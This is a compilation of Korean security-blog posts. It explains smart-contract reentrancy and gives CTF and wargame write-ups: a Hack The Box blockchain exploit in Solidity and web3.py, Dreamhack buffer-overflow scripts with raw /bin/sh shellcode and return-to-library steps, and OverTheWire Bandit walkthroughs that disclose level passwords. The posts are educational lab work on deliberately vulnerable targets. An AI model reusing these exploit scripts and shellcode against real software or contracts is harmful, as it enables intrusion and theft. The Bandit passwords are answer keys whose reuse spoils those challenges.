반응형

지금까지 몇개월정도 Web3 offensive 보안 공부를 하면서 취약한 컨트랙트를 보면 일단 call()함수가 사용되었나를 보고, 사용되었으면 reentrancy attack이 가능하겠다~ 정도를 생각해왔다.

그리고, call{value: }() 함수 사용으로 인한 reentrancy attack의 countermeasure로 사용되는 함수가 send(), transfer() 인 것으로 생각하고 있었다.

그런데 몇몇 자료들을 찾아다니다보니, 꼭 그런것도 아니겠구나 싶었다. 오히려 send(), trnasfer() 함수가 reentrancy attack을 유발할 수 있겠구나 싶었다.

이 내용을 한번 자세히 정리해보고자 한다.

 


지난번 포스팅에서 송금 관련 함수들 (send, transfer, call)에 대해 다룬 적이 있었다. 한번 들어가서 보고와도 좋을 것 같다.

 

[Web3 개발/보안] Solidity payable / transfer, call, send / 송금 관련 함수 다루기

오늘은 web3에서 Solidity를 사용하는 사람이라면 한 번쯤은 짚고넘어가야할 필요가 있는 payable 키워드를 들고와보았다. 처음 solidity를 공부할 때 부터 대체 저 키워드가 무엇인지부터 시작해서 tran

nullorm.tistory.com


Reentrancy attack (재진입 공격)

말 그대로 attacker가 victim contract의 송금 함수를 여러번 실행하도록 하는 공격이다. 예시를 한번 살펴보자.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Victim {
	mapping(address => uint256) public balance;

	function withdraw() external {
		require(balance[msg.sender] >= 1, "insufficient balance"); // ... 1
		(bool sent, ) = payable(msg.sender).call{value: 1 ether}(""); // ... 2
		balance[msg.sender] = balance[msg.sender] - 1; // ... 3
	}
}

이렇게 생긴 Victim 컨트랙트가 있다고 할 때, Attacker가 withdraw() 함수를 정상적으로 실행하면,

1. require()에서 잔액이 1 이더 이상 있는지 물어보고

2. 1 이더를 msg.sender(Attacker)에게 보내주고

3. msg.sender(attacker)의 잔액을 1만큼 감소시켜준다.

 

여기까지 봤을 때는 아무런 문제가 없어보인다. 하지만... Solidity에는 receive(), fallback() 메소드가 존재한다.

receive() method

Web3 생태계는 아무래도 돈을 송금하는 기능에 초점을 맞춘 기능이 많다보니 receive()와 같은 메소드가 생겨났다.   

receive() 는 컨트랙트의 함수를 호출하는 것이 아니라, 컨트랙트에 이더를 송금했을 때 실행되는 부분이라고 보면 된다.

예시를 살펴보자.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Victim {
	mapping(address => uint256) public balance;

	function withdraw() external {
		require(balance[msg.sender] >= 1, "insufficient balance"); // ... 1
		(bool sent, ) = payable(msg.sender).call{value: 1 ether}(""); // ... 2
		balance[msg.sender] -= 1; // ... 3
	}
	
	receive() external payable {
		balance[msg.sender] += msg.value;
	}
}

위의 컨트랙트를 살펴보면, receive() 메소드를 통해 msg.sender 주소의 balance 매핑을 증가시켜주는 것을 알 수 있다.

그렇다면, 이러한 receive() 메서드를 통해 어떻게 공격을 할 수 있다는 것일까?

좌측: victim, 우측: attacker

 

우측 컨트랙트에서 doWithdraw()를 실행시켜 좌측 컨트랙트의 withdraw()함수를 실행시키면...

1. require() 를 통해 msg.sender의 잔액을 체크한다

2. call()을 통해 1이더를 송금한다

3. msg.sender의 balance를 1만큼 감소시킨다. 

지금까지는 이런 줄 알았지만 사실은,

 

1. require() 를 통해 msg.sender의 잔액을 체크한다

2. call()을 통해 1이더를 송금한다

   2-1: 이더를 받은 우측 컨트랙트에서 receive()를 실행시킨다

   2-2: doSomething

3. msg.sender의 balance를 1만큼 감소시킨다. 

이런 순서로 진행되는 것이다.

 

그런데, 여기에서 중요한 취약점은, require()에서 잔액을 검사하고, call()을 한 뒤에, balance를 감소시킨다.

그런데, balance 매핑을 감소시키기 전에, receive()가 실행되어 다른 동작을 할 수 있다.

이를 조금 악용해볼까?

우측 컨트랙트의 "//doSomething" 부분만 수정하였다.

이렇게 되면, 어떤 과정으로 실행되는지 다시 보자.

 

1. require() 를 통해 msg.sender의 잔액을 체크한다

2. call()을 통해 1이더를 msg.sender에게 송금한다

   2-1: 이더를 받은 우측 컨트랙트에서 receive()를 실행시킨다

   2-2: 다시한번 좌측의 withdraw함수를 실행시킨다.

   2-3: 좌측에서 require()를 통해 balance 매핑을 체크하지만, 아직 balance가 마이너스 되지 않았다.

   2-4: 다시한번 call()을 통해 1이더를 msg.sender에게 송금한다.

        2-4-1: 이더를 받은 우측 컨트랙트에서 receive()를 실행시킨다

        2-4-2: 다시한번 좌측의 withdraw함수를 실행시킨다.

        2-4-3: 좌측에서 require()를 통해 balance 매핑을 체크하지만, 아직 balance가 마이너스 되지 않았다.

        2-4-4: 다시한번 call()을 통해 1이더를 msg.sender에게 송금한다.

              ...

              ...

              ...

3. msg.sender의 balance를 1만큼 감소시킨다. 

 

이런 순서로 진행되는 것이다.

결국, Victim 컨트랙트는 더이상 송금을 할 수 있는 이더가 없을 때 까지 attacker에게 송금을 하게 될 것이고, 가진 모든 이더를 빼앗기게 될 것이다.

 

이게 가능한 이유는?

call()함수가 transfer(), send() 함수와 다르게, gas의 최대 사용량이 한정되지 않고 로직에 따라 gas 사용량이 가변적이기 때문에, call() 함수가 상대적으로 재진입공격에 취약한 것이고 transfer, send 함수가 안전하다고 하는 것이다.


send(), transfer() 함수의 취약성

그런데, 사실 send(), transfer() 함수도 취약하다고 본다.

https://consensys.io/diligence/blog/2019/09/stop-using-soliditys-transfer-now/

이 자료를 보면, 특정 Opcode 실행 시 gas fee를 변경하면서부터, gas fee를 제한하는 것을 통한 countermeasure가 별로 의미있지 않게 된 다는 것이다. 즉, gas fee가 내려간다면 2300 gas만으로도 재진입공격이 가능해질 수 있고, gas fee가 올라가게 된다면, 정상 컨트랙트도 실행을 실패하게될 수 있다는 것이다.

따라서 이제는, send / transfer 함수를 통해 송금을 구현하는 것 보다는, call{value:, gas:}("") 의 형태로 구현하는 것이 더욱 바람직할 것이라고 한다.

 

반응형
반응형

해외 유명 워게임 사이트인 Hack The Box의 Blockchain 보안 워게임을 풀어보았다.

링크: https://app.hackthebox.com/challenges/Distract%2520and%2520Destroy

 

Hack The Box

 

app.hackthebox.com

1. 문제 설명이다. 그렇다고 한다.

 

After defeating her first monster, Alex stood frozen, staring up at another massive, hulking creature that loomed over her. She knew that this was a fight she couldn't win on her own. She turned to her guildmates, trying to come up with a plan. "We need to distract it," Alex said. "If we can get it off balance, we might be able to take it down." Her guildmates nodded, their eyes narrowed in determination. They quickly came up with a plan to lure the monster away from their position, using a combination of noise and movement to distract it. As they put their plan into action, Alex drew her sword and waited for her chance.

2. 문제 소스코드를 보자

1. setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

isSolved() 함수의 return값이 true가 되면 문제가 풀린다.

이를 위해서는 address(TARGET)의 잔고를 0으로 만들어줘야 한다.

하지만, constructor에서도 볼 수 있듯, TARGET의 잔고는 현재 "10"이다.

2. Creature.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 1000;
    }

    function attack(uint256 _damage) external {
        if (aggro == address(0)) {
            aggro = msg.sender;
        }
        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;
        } else {
            lifePoints -= 0;
        }
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }
}

TARGET contract이다. 

최종적으로 loot 함수를 실행시키면 exploit이 가능할 것으로 보인다.

한번 step을 밟아보자.

1. attack(damage)를 통해 lifePoints를 깎아야 loot()함수 실행이 가능하다. 

2. attack()함수 내부를 보자.

 

attack(uint256 _damage)

결국 실행시켜야 하는 것은 attack(1000)일 것이다. 

하지만, 이를 실행하려면

        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;

이 부분까지 접근해야 할 것이고,

그 전의 if문도 통과해야 한다.

 

통과해야 하는 조건들을 살펴보면,

        if (aggro == address(0)) {
            aggro = msg.sender;
        }
        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;

이 두 가지 부분이다.

 

첫 번째에는, address형인 aggro 변수가 초기화되어있지 않다면, msg.sender를 aggro에 할당하는 것이고,

두 번째 부분은, msg.sender와 aggro가 같지 않으면서, _isOffBalance() 값이 true를 반환해야 한다.

_isOffBalance()함수는

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }

인 것을 보면, 그냥 컨트랙트 만들어서 호출하라는 말이다.

그럼, 공격 시나리오를 구성해보자. 

 

1. _isOffBalance()에서 true를 반환하도록 해야 하니, 저 부분의 조건문은 EOA에서 바로 호출하는 것이 아닌, CA에서 호출하도록 해야 한다.

2. 그러면서 또, aggro != msg.sender가 되어야 하므로, aggro변수에 CA의 주소가 들어있으면 안된다. 

그렇다면, 이렇게 하면 되겠다.

 

1. EOA에서 attack()함수를 호출

2. CA에서 attack(1000)을 호출

 

이대로 코드를 작성해보자. 일단 2번의 CA먼저.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface creature {
	function attack(uint256 _damage) external;
}

contract exploit {
	creature public target;
	constructor(address _target) {
		target = creature(_target);
		target.attack(1000);
	}
}

이 코드를 두 번째 공격에서 실행시켜주면 될 것이다.

그럼 1, 2번 과정을 모두 처리해주는 코드를 python으로 작성해주자.

from web3 import Web3
import requests
import json

url = 'http://94.237.54.214:47456'
w3 = Web3(Web3.HTTPProvider(url + "/rpc"))
assert w3.is_connected()

key = json.loads(requests.get(url + "/connection_info").content)
prikey = key['PrivateKey']
user_addr = key['Address']
target_addr = key['TargetAddress']

f = open("creature_abi", "r"); t_abi = f.read(); f.close()
target_cont = w3.eth.contract(address=target_addr, abi=t_abi)

nonce = w3.eth.get_transaction_count(user_addr)
tx = target_cont.functions.attack(1000).build_transaction({
	'from': user_addr,
	'nonce': nonce,
	'gas': 2000000,
	'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, prikey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'first attack\n {tx_receipt}')

f = open("attack_abi", "r"); a_abi = f.read(); f.close()
f = open("attack_bin", "r"); a_bin = f.read(); f.close()
attack_cont = w3.eth.contract(abi=a_abi, bytecode=a_bin)

tx = attack_cont.constructor(target_addr).build_transaction({
	'from': user_addr,
	'nonce': nonce+1,
	'gas': 2000000,
	'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, prikey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'second attack\n {tx_receipt}')

tx = target_cont.functions.loot().transact()
print(w3.eth.wait_for_transaction_receipt(tx))
assert target_cont.functions.lifePoints().call() == 0

이렇게 하고 실행해주면 공격에 성공한다.

아마 web3py를 이용해 익스플로잇 하는 코드는 많이 찾아보기 힘들 것이다. 

그런데 .. 그냥 파이썬이 편해서 이렇게 하는것이기도 하다.

 

일단 very easy에 속한 난이도이다보니 payload 구성이 어렵지 않았던 것 같다.

반응형
반응형

포린이의 첫 RTL문제 시도... 정답을 보면서 하면 당연히 실력이 늘지 않으니 몇시간동안 끙끙대면서 푸는게 참 힘든 것 같다. ㅜㅜ

 

(문제 출처 : https://dreamhack.io/wargame/challenges/353/ )

 

Return to Library

Description Exploit Tech: Return to Library에서 실습하는 문제입니다.

dreamhack.io

 

일단 국룰 체크 먼저.

카나리, NX 보호기법이 사용되었다. 기본적으로 지금 풀고 있는 문제는 전부 bof 관련된 문제이므로, canary leak을 해주어야 할 것이고, NX로 인해 스택 영역에 실행권한이 없을 것이므로 쉘코드를 실행할 수 없을 것. 따라서 system("/bin/sh") 을 실행할 수 있도록 함수의 주소, 문자열의 주소, 가젯 등을 이용해야 할 것이다.

 

C 코드를 살펴보도록 하자.

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

문제가 친절하다. "/bin/sh"의 주소도 주고, system 함수도 사용해주면서 system 함수도 사용해주면서 system 함수를 이용할 수 있도록 한다.

그 다음으로는, read함수를 통해 buf에 값을 써주고 출력해주면서 canary leak을 해줄 수 있도록 한다.

그 다음으로는, return address 를 overwrite해주는, 즉, 또다시 bof를 이용해야한다. 이를 통해 RTL을 성공적으로 마칠 수 있을 것 같다. 

 

그렇다면 공격 시나리오는 Canary Leak -> get system address, get /bin/sh address, geet gadget -> Return To Library 

이렇게 볼 수 있을 것 같다.

Canary Leak

카나리 릭은 지금까지 많이 해왔으니까... 간단하게 빠르게 넘어가자.

read함수에서 buf 배열을 이용하는데, read함수를 사용하는 곳으로 가보면

buf 배열이 [rbp-0x40]에 있는 것을 알 수 있다. 그렇다면 SFP(RBP)와 BUF의 사이에는 dummy data 8바이트와 canary 8바이트가 있을 것이다. 이를 바탕으로 페이로드를 구성해보자.

이렇게 카나리를 Leak 할 수 있겠다.

 

RTL 정보 추출하기.

위 코드에서 "/bin/sh"이라는 문자열도 사용되었고, system함수도 사용되었으므로 둘 다 메모리상에 주소가 존재할 것이다. 한번 찾아보자.

/bin/sh 전역변수의 주소
plt 테이블

이로써 필요한 정보를 수집하는 데 성공했다. 이제 이걸 어떻게 적용하면 될까?

이렇게 페이로드를 구성하면 된다.

 

SFP(rbp)를 덮는 것 까지는 이전과 같은데, RET 자리에 ret gadget을 두었다. 이를 통해 그 다음 명령어들까지 실행을 할 수 있다. (사실 이 가젯까지는 잘 이해를 하지 못했는데, 이거 없이 실행할 때 오류가 나면 이걸 넣어서 해결한다고 하길래)

 

<가젯 찾는 법>

 

그 다음으로는 pop rdi, ret이 있다. 이 명령어를 실행하면, "/bin/sh"이 저장된 주소를 pop 해서 rdi에 저장한다.

다들 rdi가 뭔지는 잘 알 것이다. 바로 함수의 첫 번째 인자로 들어가는 녀석이다. 인자까지 준비를 완료했으니, ret 가젯이 실행되면, 인자가 system 함수로 들어가 최종적으로 system("/bin/sh") 명령이 실행되는 것이다.

 

익스플로잇 코드

 

실행해주면.....

성공이다..!

반응형
반응형

첫 번째 문제가 재밌어서 바로 두 번째 문제를 풀러 왔다.

첫 문제보다 쉬운 것 같다. 그냥 read_flag() 함수를 호출할 수 있으면 될 것이다.

(문제 출처 : https://dreamhack.io/wargame/challenges/3 )

 

예전에 어딘가에서 듣기로 ASLR? 이라는 기법이 사용되면 프로그램을 실행할 때 마다 주소가 바뀌어 포너블하기 힘들어진다고 했는데, 그냥 여기서는 그런 기능 안되어있길 기도하면서 read_flag 함수 주소를 찾았던 것 같다. 

 

일단 국룰 절차 먼저 밟아보자.

사실 보호기법은 봐도 잘 모른다. 그래도 일단 습관화 하면 좋을 것 같아서 밟는 절차... 하하 

 

다음은 코드를 살펴보도록 하자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
   
    gets(buf);

    return 0;
}

그냥 buffer overflow 이용해서 buf 칸 다 채워버리고 return 주소가 read_flag를 가리키게 하면 될 것 같다.

그럼 read_flag()의 주소를 어떻게 찾을까?

오 이 따옴표 넣는 기능 신기하다. 애용해야겠다.

dreamhack은 감사하게도 우리에게 pwndbg 사용법을 알려줬다.

 

사용법은 다들 알거니까 시작해보자.

print read_flag 써서 바로 주소 찾아줬다. 그럼 이걸 이용해 익스를 짜보자.

 

from pwn import *

p = remote('host3.dreamhack.games', 14765)

read_flag_addr = p32(0x80485b9)

payload = b"\x90"*0x80
payload += b"\x90"*4
payload += read_flag_addr

p.sendline(payload)
p.interactive()

 

우선 0x80칸 NOP으로 채워주고, SFP도 그냥 채워주고, 마지막 return address에다가 방금 찾은 주소를 넣어줬다.

 

흐흐.. 성공했다. 재밌다 ! 야무지다 ! 행복하다 !

반응형
반응형

2학기 들어서 처음 풀어보는 Pwnable 문제!!

신나는 마음으로 접근해보았다.

(문제 링크 : https://dreamhack.io/wargame/challenges/2)

 

basic_exploitation_000

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f

dreamhack.io

강의를 다 보고나서 문제를 보니, 

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

라고 한다.

 

그런데, 주어진 소스코드를 살펴보면 익스해서 셸을 획득할 수 있는 코드가 존재하지 않는다.

그렇다면... 셸코드를 이용해야할 것 같다. 셸코드는 대략 25~26byte정도 되었던 것으로 기억하니, 그걸 감안하고 문제를 풀어보도록 해야겠다. (아직 bof말고는 아무것도 몰라서 제 설명이 맞는지는 모르겠습니다! 틀렸다면 죄송!!!)

 

alarm_handler() 는 무시해도 될 것 같다.

initialize()는 그냥 버퍼 초기화하는 함수인 것 같으니까 무시해야겠다.

main()함수만 보도록 하자!

 

공부한대로 그냥 차근차근 보자.

일단 파일이 어떤녀석인지 보자.

32bit, SYSV 이정도만 알면 될 것 같다.

 

다음으로, stack에는 매개변수, 반환주소(RET, SFP), 지역변수 순으로 저장된다. 이를 그림으로 그려보면

이런 형태일 것이다.(매개변수는 들어오지 않았으므로.)

이제 코드상의 취약점을 찾아보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
   
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

buf의 사이즈가 0x80 즉, 128byte인데 scanf에서는 141byte씩이나 받고있다. (개발자 뭐하냐... 정신차려...) 

그렇다면 맛있게 bof를 해주면 될 것 같다.

 

익스 코드를 짜주자.

from pwn import *

p = remote('host3.dreamhack.games', 14027)

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

p.recvuntil("buf = (")
buf_addr = int(p.recv(10), 16)

print(buf_addr)

payload = shellcode
payload += b"\x90" * (0x80 - len(shellcode))
payload += b"\x90" * 4
payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

(shellcode는 그냥 인터넷에서 찾아서 긁어왔다 ㅎ..)

 

1. 우선 처음 nc 접속하면 "buf = (buf의 address)" 가 출력된다. buf의 address는 (0xXXXXXXXX) 이런 형태를 띠고있을 것이므로, 해당 주소는 10글자라고 할 수 있다. 따라서, "buf = (" 이후, 열글자를 16진수형 정수로 받아 이를 buf_addr에 저장해준다.

2. 그 다음, shellcode를 buf에 저장해주고, 나머지는 NOP으로 가득 채워준 후, SFP도 그냥 NOP으로 채우고 나서, return address를 buf의 시작주소로 지정해주어 이를 실행해주면 될 것이다!

 

성공한 것으로 보인다.

 

역시 처음 공부하는건 다 재밌다 ㅎ

반응형
반응형

이번에는 base64로 인코딩된 password가 data.txt 안에 들어있다고 한다.

6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM

base64 -d 옵션을 통해 decode 했다.

그런데, base64암호를 사용해본적은 있는데 이게 어떤 암호(인코딩 방식)인지 궁금해져서 좀 알아보기로 해보았다.

https://nullorm.tistory.com/23

인코딩 & 디코딩 | Base64에 대하여...

인코딩(encoding)과 디코딩(decoding) 파일에 저장된 정보의 형태나 형식을 변환하는 처리 / 처리방식을 말함. 이메일, 문자메시지 등의 전송, 동영상이나 이미지 영역에서 많이 사용됨. 인코딩의 반

nullorm.tistory.com

끗!

반응형
반응형

이번에는 data.txt 파일에 있는 몇몇 human-readable 문자열 중 하나이며, 몇개의 '='문자와 같이 등장한다고 한다.

 

$ strings 명령어 : 파일 내의 ASCII text로 이루어진 문자열을 추출(?)

G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s

이렇게 해보았다.

비밀번호 찾았당 ^^ ㅎ

반응형
반응형

이번에는 data.txt 안에 존재하는 문자열 중 오직 한 번만 등장하는 문자열이 정답이라고 하는 것 같다.

sort 명령어와 uniq 명령어를 사용해보았다.

sort 명령어는 문자열을 오름차순으로 정렬해주는 명령어

sort [파일명]

uniq 명령어는 정렬된 문자열에서 중복되는 문자열들을 없애주는 역할을 한다.)

uniq -u 옵션 : 중복되지 않은 녀석들 제거

EN632PlfYiZbn3PhVK3XOGSlNInNE00t

정답 !! ^^

반응형
반응형

이번에는 data.txt 라는 파일 속에  millionth옆에 비밀번호가 있다고 한다.

이럴 때 당장 생각나는건 우선 grep 명령어를 통해서 millionth 가 포함된 문장을 찾는 것을 생각해보았다.

 

TESKZC0XvTetK0S9xNwm25STk5iWrBvP

어라... 간단하게 해결되었다.

% grep 사용법

추출된 문자열에서 특수한 문자 또는 문자열이 포함된 행을 찾는 명령어이다. 

grep "문자열"을 통해 찾아낼 수 있다.

 

반응형
반응형

이번에는 무슨 서버 어딘가에 있다고 하고

bandit7이라는 유저의 소유, bandit6 그룹에 속해있고, 33 byte라고 한다.

이번에도 find 명령어를 사용해볼 수 있을 것 같다. 그런데...

애초에 홈디렉토리에 아무것도 존재하지 않는다..

그런데 문제의 발문을 다시한번 살펴보면 홈디렉토리가 아닌 "서버 어딘가" 에 있다고 했으니깐

루트 디렉토리에서 살펴보면 되지 않을까 싶다.

find 명령어를 이용해서 user, group, size 옵션을 이용해서 찾아봤는데도 뭐가 엄청 많이 나온다.

이렇게 해서는 뭘 찾기가 힘들어보인다.

우선 해결방법이다.

이렇게 하면 permission denied가 뜬 행들을 다 지워버리고 우리가 찾는 결과만 남길 수 있는데, 

설명

2>/dev/null

 

1. 파일 디스크립터

자세한 내용은 생략하고 여기에 필요한 정보만 가져오자면,

파일 디스크립터는 파일의 실행 등등을 관리하는 일종의 flag라고 볼 수 있을 것 같다.

0,1,2는 각각이 고유의 의미를 가지고 있고, 3부터는 파일이나 프로그램실행시마다 임의로 부여되는데,

0 : 표준 입력

1 : 표준 출력

2 : 표준 에러

라는 의미를 가지고 있다.

우리가 본 결과에서 Permission denied는 에러가 표시되었다는 뜻이므로 2 가 될 것이다.

이제 이녀석들이 출력되지 않도록 관리해야겠지? 

 

2. redirection

A > B : A의 결과를 B로 보냄

A >> B : A 결과를 B 데이터에 추가

A < B : B의 데이터를 A에 입력

라는 뜻을 가지고 있다.

 

3. /dev/null

리눅스에서 쓰이는 일종의 쓰레기통같은거다.

 

이런 개념을 이용해서 에러가 난 (권한 문제 등) 파일들을 버려버리면,

정답을 찾을 수 있다.

z7WtoNQU2XfjmMtWA8u5rN4vzqu4v99S

반응형

+ Recent posts